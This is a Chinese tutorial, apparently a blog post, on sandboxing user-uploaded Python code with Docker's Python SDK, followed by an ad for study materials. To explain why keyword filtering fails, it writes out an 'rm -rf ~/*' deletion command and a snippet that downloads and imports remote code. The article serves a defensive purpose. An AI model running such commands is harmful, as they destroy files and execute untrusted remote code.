如何安全运行别人上传的Python代码？

写后端的同学，有时候需要在网站上实现一个功能，让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码，我们第一个想到的问题，就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行，在不做任何安全过滤的情况下，就会导致服务器的Home文件夹被清空。

import os  
os.system('rm -rf ~/*')  

有人想的比较简单，直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗？

这种想法乍看起来没有问题，但细想下，就会发现非常天真。如果用户的代码像下面这样写，你又要如何应对？

import requests  
  
code = requests.get('https://www.kingname.info/dangerous_code').text  
  
with open('dangerous_code.py', 'w') as f:  
    f.write(code)  
  
dangerous_module = __import__('dangerous_code')  
danderous_module.delete_all()  

其中https://www.kingname.info/dangerous_code对应的代码如下：

import os  
def delete_all():  
    os.system('rm -rf ~/*')  

这样就可以绕过关键字检查，并成功删除你的文件了。

如果你的网站本身就是一个爬虫管理平台，你检查用户自定义的代码时，肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

而且恶意代码不一定是删除你的东西，它完全可以直接把你项目下面的所有代码打包，上传到它指定的URL中，这样就能窃取你网站里面所有代码。

为了避免这样的情况发生，我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷，独立的环境能确保他即使删除了所有文件，也不会影响到你。

显然，最简单直接的办法，就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

首先，确保你的服务器上面已经有Docker，并且正在运行。接下来，安装Docker SDK：

pip install docker  

假设，你把用户上传的文件放在了user/<user_id>/upload文件夹下面，那么，首先你需要生成一个Dockerfile，并把这个Dockerfile放到upload文件夹中：

from python:3.10  
  
run pip install -r requirements.txt  
copy . /app  
workdir /app  

当用户添加/修改了第三方库时，你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

接下来，我们开始构建镜像并运行代码：

import docker  
client = docker.from_env()  
  
client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义  
  
container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)  

这个代码运行以后是非阻塞的，会立刻返回container对象。当你想查看代码日志时，执行：

container.logs(tail=10) # 显示最后10行日志  

就可以看到相关的日志了。

感兴趣的小伙伴，赠送全套Python学习资料，包含面试题、简历资料等具体看下方。

一、Python所有方向的学习路线

Python所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照下面的知识点去找对应的学习资源，保证自己学得较为全面。

二、Python必备开发工具

工具都帮大家整理好了，安装就可直接上手！

三、最新Python学习笔记

当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。

四、Python视频合集

观看全面零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。

五、实战案例

纸上得来终觉浅，要学会跟着视频一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。

六、面试宝典

简历模板

若有侵权，请联系删除